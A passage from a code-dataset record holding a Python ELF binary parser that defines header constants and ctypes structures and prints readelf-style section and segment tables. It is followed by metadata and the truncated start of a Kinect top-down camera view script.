\r\nSHT_DYNSYM = 11 # Dynamic linker symbol table \r\nSHT_INIT_ARRAY = 14 # Array of constructors \r\nSHT_FINI_ARRAY = 15 # Array of destructors \r\nSHT_PREINIT_ARRAY = 16 # Array of pre-constructors \r\nSHT_GROUP = 17 # Section group \r\nSHT_SYMTAB_SHNDX = 18 # Extended section indeces \r\nSHT_LOOS = 0x60000000 # Start OS-specific. \r\nSHT_GNU_HASH = 0x6ffffff6 # GNU-style hash table. \r\nSHT_GNU_LIBLIST = 0x6ffffff7 # Prelink library list \r\nSHT_CHECKSUM = 0x6ffffff8 # Checksum for DSO content. \r\nSHT_LOSUNW = 0x6ffffffa # Sun-specific low bound. \r\nSHT_SUNW_move = 0x6ffffffa\r\nSHT_SUNW_COMDAT = 0x6ffffffb\r\nSHT_SUNW_syminfo = 0x6ffffffc\r\nSHT_GNU_verdef = 0x6ffffffd # Version definition section. \r\nSHT_GNU_verneed = 0x6ffffffe # Version needs section. \r\nSHT_GNU_versym = 0x6fffffff # Version symbol table. \r\nSHT_HISUNW = 0x6fffffff # Sun-specific high bound. \r\nSHT_HIOS = 0x6fffffff # End OS-specific type \r\nSHT_LOPROC = 0x70000000 # Start of processor-specific \r\nSHT_HIPROC = 0x7fffffff # End of processor-specific \r\nSHT_LOUSER = 0x80000000 # Start of application-specific \r\nSHT_HIUSER = 0x8fffffff # End of application-spec\r\n\r\nELFSHTYPE = {SHT_NULL:'NULL',SHT_PROGBITS:'PROGBITS',SHT_SYMTAB:'SYMTAB',SHT_STRTAB:'STRTAB',SHT_RELA:'RELA',SHT_HASH:'HASH',SHT_DYNAMIC:'DYNAMIC',\r\nSHT_NOTE:'NOTE',SHT_NOBITS:'NOBITS',SHT_REL:'REL',SHT_SHLIB:'SHLIB',SHT_DYNSYM:'DYNSYM',SHT_INIT_ARRAY:'INIT_ARRAY',\r\nSHT_FINI_ARRAY:'FINI_ARRAY',SHT_PREINIT_ARRAY:'PREINIT_ARRAY',SHT_GROUP:'GROUP',SHT_SYMTAB_SHNDX:'SYMTAB_SHNDX',\r\nSHT_GNU_HASH:'GNU_HASH',SHT_GNU_LIBLIST:'GNU_LIBLIST',SHT_CHECKSUM:'CHECKSUM',SHT_GNU_verdef:'GNU_verdef',SHT_GNU_verneed:\"VERNEED\",SHT_GNU_versym:\"VERSYM\"\r\n}\r\n\r\n# Legal values for sh_flags (section flags). \r\n\r\nSHF_WRITE = (1 << 0) # Writable \r\nSHF_ALLOC = (1 << 1) # Occupies memory during execution \r\nSHF_EXECINSTR = (1 << 2) # Executable\r\nSHF_MERGE = (1 << 4) # Might be merged\r\nSHF_STRINGS = (1 << 5) # Contains nul-terminated strings\r\nSHF_INFO_LINK = (1 << 6) # `sh_info' contains SHT index\r\nSHF_LINK_ORDER = (1 << 7) # Preserve order after combining\r\nSHF_OS_NONCONFORMING = (1 << 8) # Non-standard OS specific handling required */\r\nSHF_GROUP = (1 << 9) # Section is member of a group. \r\nSHF_TLS = (1 << 10) # Section hold thread-local data. \r\nSHF_MASKOS = 0x0ff00000 # OS-specific. \r\nSHF_MASKPROC = 0xf0000000 # Processor-specific\r\nSHF_ORDERED = (1 << 30) # Special ordering requirement (Solaris). */\r\nSHF_EXCLUDE = (1 << 31) # Section is excluded unless referenced or allocated (Solaris).*/\r\n\r\nELFSHFLAG = {SHF_WRITE:'W',SHF_ALLOC:'A',SHF_EXECINSTR:'X',SHF_MERGE:'M',SHF_STRINGS:'S',SHF_INFO_LINK:'I',SHF_LINK_ORDER:'L',SHF_GROUP:'G',SHF_TLS:'T',SHF_MASKOS:'o',SHF_MASKPROC:'p',SHF_EXCLUDE:'E'}\r\n\r\n# Section group handling. \r\nGRP_COMDAT = 0x1 # Mark group as COMDAT.\r\n\r\n\r\n# Legal values for p_type (segment type)\r\n\r\nPT_NULL = 0 # Program header table entry unused \r\nPT_LOAD = 1 # Loadable program segment \r\nPT_DYNAMIC = 2 # Dynamic linking information \r\nPT_INTERP = 3 # Program interpreter \r\nPT_NOTE = 4 # Auxiliary information \r\nPT_SHLIB = 5 # Reserved \r\nPT_PHDR = 6 # Entry for header table itself \r\nPT_TLS = 7 # Thread-local storage segment\r\nPT_LOOS = 0x60000000 # Start of OS-specific \r\nPT_GNU_EH_FRAME = 0x6474e550 # GCC .eh_frame_hdr segment \r\nPT_GNU_STACK = 0x6474e551 # Indicates stack executability \r\nPT_GNU_RELRO = 0x6474e552 # Read-only after relocation \r\nPT_LOSUNW = 0x6ffffffa #\r\nPT_SUNWBSS = 0x6ffffffa # Sun Specific segment \r\nPT_SUNWSTACK = 0x6ffffffb # Stack segment \r\nPT_HISUNW = 0x6fffffff #\r\nPT_HIOS = 0x6fffffff # End of OS-specific \r\nPT_LOPROC = 0x70000000 # Start of processor-specific \r\nPT_HIPROC = 0x7fffffff # End of processor-specific \r\n\r\nELFPHTYPE = {PT_NULL:'NULL',PT_LOAD:'LOAD',PT_DYNAMIC:'DYNAMIC',PT_INTERP:'INTERP',PT_NOTE:'NOTE',PT_SHLIB:'SHLIB',PT_PHDR:'PHDR',PT_TLS:'TLS',\r\nPT_LOOS:'LOOS',PT_GNU_EH_FRAME:'GNU_EH_FRAME',PT_GNU_STACK:'GNU_STACK',PT_GNU_RELRO:'GNU_RELRO',PT_LOSUNW:'LOSUNW',PT_SUNWBSS:'SUNWBSS',\r\nPT_SUNWSTACK:'SUNWSTACK',PT_HISUNW:'HISUNW',PT_HIOS:'HIOS',PT_LOPROC:'LOPROC',PT_HIPROC:'HIPROC',}\r\n\r\n# Legal values for p_flags (segment flags)\r\n\r\nPF_X = (1 << 0) # Segment is executable \r\nPF_W = (1 << 1) # Segment is writable \r\nPF_R = (1 << 2) # Segment is readable \r\nPF_MASKOS = 0x0ff00000 # OS-specific \r\nPF_MASKPROC = 0xf0000000 # Processor-specific\r\n\r\nELFPHFLAG = {PF_X:'E',PF_W:'W',PF_R:'R'}\r\n\r\n# E_IDENT\r\nclass E_IDENT(Structure):\r\n\r\n _fields_ = [\r\n ('e_mag0',c_ubyte), # File identification / Magic number byte 0\r\n ('e_mag1',c_ubyte), # File identification / Magic number byte 1\r\n ('e_mag2',c_ubyte), # File identification / Magic number byte 2\r\n ('e_mag3',c_ubyte), # File identification / Magic number byte 3\r\n ('e_class',c_ubyte), # File class byte\r\n ('e_data',c_ubyte), # Data encoding byte\r\n ('e_version',c_ubyte), # File version byte\r\n ('e_osabi',c_ubyte), # OS ABI identification\r\n ('e_abiversion',c_ubyte), # ABI version\r\n ('e_pad', c_ubyte * 7), # padding bytes\r\n ]\r\n\r\n def __new__(self, buffer):\r\n return self.from_buffer_copy(buffer)\r\n\r\n def __init__(self, buffer):\r\n pass\r\n\r\n def iself(self):\r\n return True if self.e_mag0 == ELFMAG0 and self.e_mag1 == ord(ELFMAG1) and self.e_mag2 == ord(ELFMAG2) and self.e_mag3 == ord(ELFMAG3) else False\r\n\r\n def is32bit(self):\r\n return True if self.e_class == ELFCLASS32 else False\r\n\r\n def is64bit(self):\r\n return True if self.e_class == ELFCLASS64 else False\r\n\r\n\r\n# The ELF file header. This appears at the start of every ELF file.\r\n\r\nclass Elf32_Ehdr(Structure):\r\n\r\n _fields_ = [\r\n ('e_ident',E_IDENT), # Magic number and other info \r\n ('e_type',Elf32_Half), # Object file type \r\n ('e_machine',Elf32_Half), # Architecture\r\n ('e_version',Elf32_Word), # Object file version\r\n ('e_entry',Elf32_Addr), # Entry point virtual address\r\n ('e_phoff',Elf32_Off), # Program header table file offset \r\n ('e_shoff',Elf32_Off), # Section header table file offset \r\n ('e_flags',Elf32_Word), # Processor-specific flags \r\n ('e_ehsize',Elf32_Half), # ELF header size in bytes \r\n ('e_phentsize',Elf32_Half), # Program header table entry size \r\n ('e_phnum',Elf32_Half), # Program header table entry count \r\n ('e_shentsize',Elf32_Half), # Section header table entry size \r\n ('e_shnum',Elf32_Half), # Section header table entry count \r\n ('e_shstrndx',Elf32_Half), # Section header string table index \r\n ]\r\n\r\n def __new__(self, buffer):\r\n return self.from_buffer_copy(buffer)\r\n\r\n def __init__(self, buffer):\r\n pass\r\n\r\nclass Elf64_Ehdr(Structure):\r\n\r\n _fields_ = [\r\n ('e_ident',E_IDENT), # Magic number and other info \r\n ('e_type',Elf64_Half), # Object file type \r\n ('e_machine',Elf64_Half), # Architecture \r\n ('e_version',Elf64_Word), # Object file version \r\n ('e_entry',Elf64_Addr), # Entry point virtual address \r\n ('e_phoff',Elf64_Off), # Program header table file offset \r\n ('e_shoff',Elf64_Off), # Section header table file offset \r\n ('e_flags',Elf64_Word), # Processor-specific flags \r\n ('e_ehsize',Elf64_Half), # ELF header size in bytes \r\n ('e_phentsize',Elf64_Half), # Program header table entry size \r\n ('e_phnum',Elf64_Half), # Program header table entry count \r\n ('e_shentsize',Elf64_Half), # Section header table entry size \r\n ('e_shnum',Elf64_Half), # Section header table entry count \r\n ('e_shstrndx',Elf64_Half), # Section header string table index \r\n ]\r\n\r\n def __new__(self, buffer):\r\n return self.from_buffer_copy(buffer)\r\n\r\n def __init__(self, buffer):\r\n pass\r\n\r\n# Section header\r\nclass Elf32_Shdr(Structure):\r\n\r\n _fields_ = [\r\n ('sh_name',Elf32_Word), # Section name (string tbl index)\r\n ('sh_type',Elf32_Word), # Section type\r\n ('sh_flags',Elf32_Word), # Section flags\r\n ('sh_addr',Elf32_Addr), # Section virtual addr at execution\r\n ('sh_offset',Elf32_Off), # Section file offset\r\n ('sh_size',Elf32_Word), # Section size in bytes\r\n ('sh_link',Elf32_Word), # Link to another section\r\n ('sh_info',Elf32_Word), # Additional section information\r\n ('sh_addralign',Elf32_Word), # Section alignment\r\n ('sh_entsize',Elf32_Word), # Entry size if section holds table \r\n ]\r\n\r\n def __new__(self, buffer):\r\n return self.from_buffer_copy(buffer)\r\n\r\n def __init__(self, buffer):\r\n pass\r\n\r\n\r\nclass Elf64_Shdr(Structure):\r\n\r\n _fields_ = [\r\n ('sh_name',Elf64_Word), # Section name (string tbl index)\r\n ('sh_type',Elf64_Word), # Section type\r\n ('sh_flags',Elf64_Xword), # Section flags\r\n ('sh_addr',Elf64_Addr), # Section virtual addr at execution\r\n ('sh_offset',Elf64_Off), # Section file offset\r\n ('sh_size',Elf64_Xword), # Section size in bytes\r\n ('sh_link',Elf64_Word), # Link to another section\r\n ('sh_info',Elf64_Word), # Additional section information\r\n ('sh_addralign',Elf64_Xword), # Section alignment\r\n ('sh_entsize',Elf64_Xword), # Entry size if section holds table \r\n ]\r\n\r\n def __new__(self, buffer):\r\n return self.from_buffer_copy(buffer)\r\n\r\n def __init__(self, buffer):\r\n pass\r\n\r\n# Program segment header\r\nclass Elf32_Phdr(Structure):\r\n\r\n _fields_ = [\r\n ('p_type',Elf32_Word), # Segment type \r\n ('p_offset',Elf32_Off), # Segment file offset \r\n ('p_vaddr',Elf32_Addr), # Segment virtual address\r\n ('p_paddr',Elf32_Addr), # Segment physical address\r\n ('p_filesz',Elf32_Word), # Segment size in file \r\n ('p_memsz',Elf32_Word), # Segment size in memory \r\n ('p_flags',Elf32_Word), # Segment flags\r\n ('p_align',Elf32_Word), # Segment alignment\r\n ]\r\n\r\n def __new__(self, buffer):\r\n return self.from_buffer_copy(buffer)\r\n\r\n def __init__(self, buffer):\r\n pass\r\n\r\nclass Elf64_Phdr(Structure):\r\n\r\n _fields_ = [\r\n ('p_type',Elf64_Word), # Segment type \r\n ('p_flags',Elf64_Word), # Segment flags\r\n ('p_offset',Elf64_Off), # Segment file offset \r\n ('p_vaddr',Elf64_Addr), # Segment virtual address\r\n ('p_paddr',Elf64_Addr), # Segment physical address\r\n ('p_filesz',Elf64_Xword), # Segment size in file \r\n ('p_memsz',Elf64_Xword), # Segment size in memory \r\n ('p_align',Elf64_Xword), # Segment alignment\r\n ]\r\n\r\n def __new__(self, buffer):\r\n return self.from_buffer_copy(buffer)\r\n\r\n def __init__(self, buffer):\r\n pass\r\n\r\n\r\n\r\ne_ident_show = '''Magic: {:02x} {:02x} {:02x} {:02x} {:02x} {:02x} {:02x} {:02x} {:02x} {:s} \r\nClass: {:s} \r\nData: {:s} \r\nVersion: {:s}\r\nOS/ABI: {:s}\r\nABI Version: {:d}'''\r\n\r\nElf32_Ehdr_show = '''Type: {:s}\r\nMachine: {:s}\r\nVersion: {:#x}\r\nEntry point address: {:#x}\r\nStart of program headers: {:d} (bytes into file)\r\nStart of section headers: {:d} (bytes into file)\r\nFlags: {:#x}\r\nSize of this header: {:d} (bytes)\r\nSize of program headers: {:d} (bytes)\r\nNumber of program headers: {:d}\r\nSize of section headers: {:d} (bytes)\r\nNumber of section headers: {:d}\r\nSection header string table index: {:d}\r\n'''\r\n\r\nSection_FLag_info ='''Key to Flags:\r\n W (write), A (alloc), X (execute), M (merge), S (strings)\r\n I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)\r\n O (extra OS processing required) o (OS specific), p (processor specific)\r\n'''\r\n\r\nclass ELF32(object):\r\n\r\n def __init__(self,data):\r\n self.data = data\r\n self.Parse()\r\n\r\n def Parse(self):\r\n # ELF header\r\n self.data.seek(0,0)\r\n self.header = Elf32_Ehdr(self.data.read(Elf32_Ehdr_Size))\r\n\r\n # ELF section header \r\n self.data.seek(self.header.e_shoff,0)\r\n \r\n section_headers_data = self.data.read(self.header.e_shentsize * self.header.e_shnum)\r\n # Get Section Headers\r\n self.section_headers = [Elf32_Shdr(section_headers_data[i * self.header.e_shentsize:(i + 1) * self.header.e_shentsize]) for i in range(0,self.header.e_shnum)]\r\n #self.section_headers = []\r\n #for i in range(0,self.header.e_shnum):\r\n # print(len(section_headers_data[i * self.header.e_shentsize:(i + 1)*self.header.e_shentsize]))\r\n # self.section_headers.append(Elf32_Shdr(section_headers_data[i * self.header.e_shentsize:(i + 1)*self.header.e_shentsize]))\r\n\r\n # Get Section Names\r\n self.section_names = []\r\n for i in range(0,self.header.e_shnum):\r\n offset = self.section_headers[self.header.e_shstrndx].sh_offset + self.section_headers[i].sh_name\r\n self.section_names.append(self.ReadStr(offset))\r\n\r\n # Program segment header\r\n self.data.seek(self.header.e_phoff,0)\r\n segment_headers_data = self.data.read(self.header.e_phentsize * self.header.e_phnum)\r\n self.segment_headers = [Elf32_Phdr(segment_headers_data[i * self.header.e_phentsize:(i + 1) * self.header.e_phentsize]) for i in range(0,self.header.e_phnum)]\r\n \r\n def ReadStr(self,offset,end='\\0',len=32):\r\n self.data.seek(offset,0)\r\n chars = \"\"\r\n for char in self.data.read(len).decode():\r\n if not char == end:\r\n chars = chars + char\r\n else:\r\n break\r\n return chars\r\n\r\n def Output(self):\r\n return self.header,self.section_names,self.section_headers,self.segment_headers\r\n\r\nclass ELF64(object):\r\n\r\n def __init__(self,data):\r\n self.data = data\r\n self.Parse()\r\n\r\n def Parse(self):\r\n # ELF header\r\n self.data.seek(0,0)\r\n self.header = Elf64_Ehdr(self.data.read(Elf64_Ehdr_Size))\r\n\r\n # ELF section header \r\n self.data.seek(self.header.e_shoff,0)\r\n section_headers_data = self.data.read(self.header.e_shentsize * self.header.e_shnum)\r\n # Get Section Headers\r\n self.section_headers = [Elf64_Shdr(section_headers_data[i * self.header.e_shentsize:(i + 1) * self.header.e_shentsize]) for i in range(0,self.header.e_shnum)]\r\n\r\n # Get Section Names\r\n self.section_names = []\r\n for i in range(0,self.header.e_shnum):\r\n offset = self.section_headers[self.header.e_shstrndx].sh_offset + self.section_headers[i].sh_name\r\n self.section_names.append(self.ReadStr(offset))\r\n\r\n # Program segment header\r\n self.data.seek(self.header.e_phoff,0)\r\n segment_headers_data = self.data.read(self.header.e_phentsize * self.header.e_phnum)\r\n self.segment_headers = [Elf64_Phdr(segment_headers_data[i * self.header.e_phentsize:(i + 1) * self.header.e_phentsize]) for i in range(0,self.header.e_phnum)]\r\n \r\n def ReadStr(self,offset,end='\\0',len=32):\r\n self.data.seek(offset,0)\r\n chars = \"\"\r\n for char in self.data.read(len).decode():\r\n if not char == end:\r\n chars = chars + char\r\n else:\r\n break\r\n return chars\r\n\r\n def Output(self):\r\n return self.header,self.section_names,self.section_headers,self.segment_headers\r\n\r\nclass ELF(object):\r\n\r\n def __init__(self,filepath):\r\n with open(filepath, 'rb') as fr:\r\n #self.data = io.StringIO(fr.read().decode())\r\n self.data = io.BytesIO(fr.read())\r\n\r\n self.data.seek(0,0)\r\n self.e_ident = E_IDENT(self.data.read(EI_NIDENT))\r\n\r\n if self.e_ident.iself() and self.e_ident.is32bit():\r\n self.elffile = ELF32(self.data)\r\n self.header,self.section_names,self.section_headers,self.segment_headers = self.elffile.Output()\r\n elif self.e_ident.iself() and self.e_ident.is64bit():\r\n self.elffile = ELF64(self.data)\r\n self.header,self.section_names,self.section_headers,self.segment_headers = self.elffile.Output()\r\n else:\r\n pass\r\n\r\n self.section2segment()\r\n\r\n def readstr(self,offset,end='\\0',len=32):\r\n self.data.seek(offset,0)\r\n chars = \"\"\r\n for char in self.data.read(len).decode():\r\n if not char == end:\r\n chars = chars + char\r\n else:\r\n break\r\n return chars\r\n\r\n def section2segment(self):\r\n self.section2segment_result = []\r\n for i in range(0,self.header.e_phnum):\r\n phdr = self.segment_headers[i]\r\n if phdr.p_memsz == 0:\r\n self.section2segment_result.append([])\r\n continue\r\n else: \r\n sections = []\r\n for index,section in enumerate(self.section_headers):\r\n # section must have Flag ALLOC\r\n if not section.sh_flags & SHF_ALLOC:\r\n continue\r\n\r\n if not bool(phdr.p_type == PT_TLS) == bool(section.sh_flags & SHF_TLS):\r\n continue\r\n\r\n if (section.sh_addr >= phdr.p_vaddr) and (section.sh_addr + section.sh_size) <= (phdr.p_vaddr + phdr.p_memsz):\r\n sections.append(self.section_names[index])\r\n else:\r\n pass\r\n self.section2segment_result.append(sections)\r\n\r\n def elfphdrtype(self,p_type):\r\n\r\n if p_type > PT_LOOS and p_type< PT_HIOS:\r\n return \"LOOS+%x\" % (p_type - PT_LOOS)\r\n elif p_type > PT_LOPROC and p_type< PT_HIPROC:\r\n return \"LOPROC+%x\" % (p_type - PT_LOPROC)\r\n else:\r\n return \"%#x\" % p_type\r\n\r\n def PrintELFHeader(self):\r\n header = self.header\r\n # e_ident\r\n print(e_ident_show.format(header.e_ident.e_mag0,header.e_ident.e_mag1,header.e_ident.e_mag2,header.e_ident.e_mag3,header.e_ident.e_class,\r\n header.e_ident.e_data,header.e_ident.e_version,header.e_ident.e_osabi,header.e_ident.e_abiversion,\" \".join(['%02x' % pad for pad in header.e_ident.e_pad]),\r\n ELFCLASS[header.e_ident.e_class],ELFDATA[header.e_ident.e_data],ELFVERSION[header.e_ident.e_version],ELFOSABI[header.e_ident.e_osabi],header.e_ident.e_abiversion))\r\n \r\n # header\r\n print (Elf32_Ehdr_show.format(ELFTYPE[header.e_type],ELFMACHINE[header.e_machine],header.e_version,header.e_entry,header.e_phoff,header.e_shoff,header.e_flags,\r\n header.e_ehsize,header.e_phentsize,header.e_phnum,header.e_shentsize,header.e_shnum,header.e_shstrndx))\r\n\r\n def OutputELFHeader(self):\r\n header = self.header\r\n magic_info = [header.e_ident.e_mag0,\r\n header.e_ident.e_mag1, header.e_ident.e_mag2, header.e_ident.e_mag3, header.e_ident.e_class,\r\n header.e_ident.e_data, header.e_ident.e_version, header.e_ident.e_osabi, header.e_ident.e_abiversion]\r\n magic_info.extend(header.e_ident.e_pad)\r\n\r\n return {'Magic':magic_info,#list\r\n 'Class':ELFCLASS[header.e_ident.e_class],#string\r\n 'Data':ELFDATA[header.e_ident.e_data],#string\r\n 'Version':ELFVERSION[header.e_ident.e_version],#string\r\n 'OS/ABI':ELFOSABI[header.e_ident.e_osabi],#string\r\n 'ABI Version':header.e_ident.e_abiversion,#oct int\r\n 'Type':ELFTYPE[header.e_type],#string\r\n 'Machine':ELFMACHINE[header.e_machine],#string\r\n 'Version':'{:#x}'.format(header.e_version),# hex int\r\n 'Entry point address':'{:#x}'.format(header.e_entry),# hex int\r\n 'Start of program headers':header.e_phoff,# oct int\r\n 'Start of section headers':header.e_shoff,# oct int\r\n 'Flags':'{:#x}'.format(header.e_flags),# hex int\r\n 'Size of this header': header.e_ehsize,# oct int\r\n 'Size of program headers': header.e_phentsize,#oct int\r\n 'Number of program headers':header.e_phnum,#oct int\r\n 'Size of section headers': header.e_shentsize,#oct int\r\n 'Number of section headers':header.e_shnum,#oct int\r\n 'Section header string table index':header.e_shstrndx,#oct int\r\n }\r\n\r\n\r\n\r\n def PrintELFShdr(self):\r\n ELF32title = '[{:>2s}] {:<20s} {:<16s} {:<8s} {:<6s} {:<6s} {:>2s} {:>3s} {:>2s} {:>3s} {:>2s}'\r\n ELF32content = '[{:2d}] {:<20s} {:<16s} {:0>8x} {:0>6x} {:0>6x} {:0>2x} {:>3s} {:>2d} {:>3d} {:>2d}'\r\n ELF64title = '[{:>2s}] {:<16s} {:<16s} {:>16s} {:<8s}\\n {:<16s} {:<16s} {:>6s} {:>4s} {:>4s} {:>6s}'\r\n ELF64content = '[{:2d}] {:<16s} {:<16s} {:0>16x} {:0>8x}\\n {:0>16x} {:0>16x} {:>6s} {:>4d} {:>4d} {:>6d}' \r\n #print('There are {:d} section headers, starting at offset {:#x}:\\n\\nSection Headers:').format(self.header.e_shnum,self.header.e_shoff)\r\n if self.e_ident.is32bit():\r\n title, content= ELF32title,ELF32content \r\n elif self.e_ident.is64bit():\r\n title, content= ELF64title,ELF64content\r\n else:\r\n return\r\n\r\n print(title.format('Nr','Name','Type','Addr','Off','Size','ES','Flg','Lk','Inf','Al'))\r\n for i in range(0,self.header.e_shnum):\r\n shdr = self.section_headers[i]\r\n sh_name = self.section_names[i]\r\n sh_flags = ''.join([mark for flag,mark in ELFSHFLAG.items() if shdr.sh_flags & flag])\r\n print(content.format(i,sh_name,ELFSHTYPE.get(shdr.sh_type,\"%#x\" % shdr.sh_type),shdr.sh_addr,shdr.sh_offset,shdr.sh_size,shdr.sh_entsize,sh_flags,shdr.sh_link,shdr.sh_info,shdr.sh_addralign))\r\n\r\n def OutputELFShdr(self):\r\n output = []\r\n\r\n if self.e_ident.is32bit():\r\n for i,shdr in enumerate(self.section_headers):\r\n #shdr = self.section_headers[i]\r\n sh_name = self.section_names[i]\r\n sh_flags = ''.join([mark for flag, mark in ELFSHFLAG.items() if shdr.sh_flags & flag])\r\n output.append(\r\n {'Name': sh_name,\r\n 'Type': ELFSHTYPE.get(shdr.sh_type, \"%#x\" % shdr.sh_type),\r\n 'Addr': '{:0>8x}'.format(shdr.sh_addr), # hex int\r\n 'Off': '{:0>6x}'.format(shdr.sh_offset), # hex int\r\n 'Size': '{:0>6x}'.format(shdr.sh_size), # hex int\r\n 'ES': '{:0>2x}'.format(shdr.sh_entsize), # hex int\r\n 'Flg': sh_flags,# string\r\n 'Lk': shdr.sh_link, # oct int\r\n 'Inf': shdr.sh_info, # oct int\r\n 'Al': shdr.sh_addralign}) #oct int\r\n elif self.e_ident.is64bit():\r\n for i,shdr in enumerate(self.section_headers):\r\n #shdr = self.section_headers[i]\r\n sh_name = self.section_names[i]\r\n sh_flags = ''.join([mark for flag, mark in ELFSHFLAG.items() if shdr.sh_flags & flag])\r\n output.append(\r\n {'Name': sh_name,\r\n 'Type': ELFSHTYPE.get(shdr.sh_type, \"%#x\" % shdr.sh_type),\r\n 'Addr': '{:0>16x}'.format(shdr.sh_addr), # hex int\r\n 'Off': '{:0>8x}'.format(shdr.sh_offset), # hex int\r\n 'Size': '{:0>16x}'.format(shdr.sh_size), # hex int\r\n 'ES': '{:0>16x}'.format(shdr.sh_entsize), # hex int\r\n 'Flg': sh_flags, # string\r\n 'Lk': shdr.sh_link, # oct int\r\n 'Inf': shdr.sh_info, # oct int\r\n 'Al': shdr.sh_addralign}) #oct int\r\n else:\r\n return\r\n return output\r\n\r\n def PrintELFPhdr(self):\r\n #print('Elf file type is {:s}').format(ELFTYPE[self.header.e_type],)\r\n #print('Entry point {:#x}').format(self.header.e_entry,)\r\n #print('There are {:d} program headers, starting at offset {:d}\\n\\nProgram Headers:').format(self.header.e_phnum,self.header.e_phoff)\r\n ELF32title = '{:<14s} {:<8s} {:<10s} {:<10s} {:<7s} {:<7s} {:<3s} {:<6s}'\r\n ELF32content = '{:<14s} 0x{:0>6x} 0x{:0>8x} 0x{:0>8x} 0x{:0>5x} 0x{:0>5x} {:<3s} 0x{:<4x}'\r\n ELF64title = '{:<14s} {:<18s} {:<18s} {:<18s} \\n {:<18s} {:<18s} {:<6s} {:<6s}'\r\n ELF64content = '{:<14s} 0x{:0>16x} 0x{:0>16x} 0x{:0>16x} \\n 0x{:0>16x} 0x{:0>16x} {:<6s} {:<6x}'\r\n\r\n if self.e_ident.is32bit():\r\n title,content = ELF32title, ELF32content\r\n elif self.e_ident.is64bit():\r\n title, content= ELF64title,ELF64content\r\n else:\r\n return\r\n\r\n print(title.format('Type','Offset','VirtAddr','PhysAddr','FileSiz','MemSiz','Flg','Align'))\r\n for i in range(0,self.header.e_phnum):\r\n phdr = self.segment_headers[i]\r\n ph_flags = ''.join([mark for flag,mark in ELFPHFLAG.items() if phdr.p_flags & flag])\r\n print(content.format(ELFPHTYPE.get(phdr.p_type,self.elfphdrtype(phdr.p_type)),phdr.p_offset,phdr.p_vaddr,phdr.p_paddr,phdr.p_filesz,phdr.p_memsz,ph_flags,phdr.p_align))\r\n \r\n if phdr.p_type == PT_INTERP:\r\n print (\"\\t[Requesting program interpreter: %s]\" % self.readstr(offset = phdr.p_offset))\r\n\r\n print('\\nSection to Segment mapping:\\nSegment Sections...')\r\n for index,sections in enumerate(self.section2segment_result):\r\n print('{:0>2d} {:s}'.format(index,\" \".join(sections)))\r\n\r\n def OutputELFPhdr(self):\r\n output = []\r\n\r\n if self.e_ident.is32bit():\r\n for i,phdr in enumerate(self.segment_headers):\r\n ph_flags = ''.join([mark for flag, mark in ELFPHFLAG.items() if phdr.p_flags & flag])\r\n\r\n output.append(\r\n {'Type':ELFPHTYPE.get(phdr.p_type, self.elfphdrtype(phdr.p_type)), #string\r\n 'Offset':'0x{:0>6x}'.format(phdr.p_offset), #hex\r\n 'VirtAddr':'0x{:0>8x}'.format(phdr.p_vaddr),#hex\r\n 'PhysAddr':'0x{:0>8x}'.format(phdr.p_paddr),#hex\r\n 'FileSiz':'0x{:0>5x}'.format(phdr.p_filesz),#hex\r\n 'MemSiz':'0x{:0>5x}'.format(phdr.p_memsz),#hex\r\n 'Flg':ph_flags, #string\r\n 'Align':'0x{:<4x}'.format(phdr.p_align)})#hex\r\n elif self.e_ident.is64bit():\r\n for i,phdr in enumerate(self.segment_headers):\r\n ph_flags = ''.join([mark for flag, mark in iter(ELFPHFLAG.items()) if phdr.p_flags & flag])\r\n output.append(\r\n {'Type':ELFPHTYPE.get(phdr.p_type, self.elfphdrtype(phdr.p_type)),\r\n 'Offset':'0x{:0>16x}'.format(phdr.p_offset),\r\n 'VirtAddr':'0x{:0>16x}'.format(phdr.p_vaddr),\r\n 'PhysAddr':'0x{:0>16x}'.format(phdr.p_paddr),\r\n 'FileSiz':'0x{:0>16x}'.format(phdr.p_filesz),\r\n 'MemSiz':'0x{:0>16x}'.format(phdr.p_memsz),\r\n 'Flg':ph_flags,\r\n 'Align':'0x{:<6x}'.format(phdr.p_align)})\r\n else:\r\n return\r\n return output\r\n \r\n\r\n\r\n def Print(self):\r\n self.PrintELFHeader()\r\n self.PrintELFShdr()\r\n print(Section_FLag_info)\r\n self.PrintELFPhdr()\r\n\r\n\r\n\r\n", "sub_path": "utils/ELFParser.py", "file_name": "ELFParser.py", "file_ext": "py", "file_size_in_byte": 39955, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "io.BytesIO", "line_number": 625, "usage_type": "call"}]} +{"seq_id": "313926237", "text": "\nfrom pykinect2 import PyKinectV2\nfrom pykinect2 import PyKinectRuntime\nimport ctypes\nimport math\nimport time\nimport os\nimport copy\nimport random\nimport sys\nimport cv2\nimport pygame\nfrom pygame.locals import *\nfrom code_for_kinect.followfacekinect import *\nfrom code_for_kinect.eigenmaskdetectionkinect.functions import *\nfrom code_for_kinect.eigenmaskdetectionkinect.maskdetectioncolor import *\nfrom code_for_kinect.eigenpersondetection.persondetectionslice import *\nimport numpy as np\nimport scipy\nimport scipy.misc\nimport scipy.cluster\nimport dlib\nimport imutils\nfrom imutils import face_utils\nfrom tensorflow.keras.applications.mobilenet_v2 import preprocess_input\nfrom tensorflow.keras.preprocessing.image import img_to_array\nfrom tensorflow.keras.models import load_model\n\n\n\n\n\nclass TopDownViewRuntime(object):\n\n def init(self):\n #schaal van topdown en color camera\n self.topdown_scale = 1/10\n self.color_scale = 4/8\n\n #grootte van topdown surface (width, height)\n self.topdown_surface_size = (1000, 600)\n\n self.display_pygame = False\n\n\n self._done = False\n self._kinect = PyKinectRuntime.PyKinectRuntime(PyKinectV2.FrameSourceTypes_Color | PyKinectV2.FrameSourceTypes_Body | PyKinectV2.FrameSourceTypes_Depth)\n self._bodies = None\n self.frame = 0\n self.topdown_position = (20,20)\n self.new_depth_frame = False\n self.new_body_frame = False\n\n self.white = (255, 255, 255)\n self.black = (0, 0, 0)\n self.gray = (200, 200, 200)\n self.red = (255, 0, 0)\n self.green = (0, 255, 0)\n self.orange = (255, 165, 0)\n self.blue = (0, 0, 255)\n\n def __init__(self):\n self.init()\n\n def draw_color_frame(self, frame, target_surface):\n target_surface.lock()\n address = self._kinect.surface_as_array(target_surface.get_buffer())\n ctypes.memmove(address, frame.ctypes.data, frame.size)\n del address\n target_surface.unlock()\n\n def draw_depth_frame(self, frame, target_surface):\n if frame is None:\n return\n target_surface.lock()\n f8=np.uint8(frame.clip(1,4000)/16.)\n frame8bit=np.dstack((f8,f8,f8))\n address = 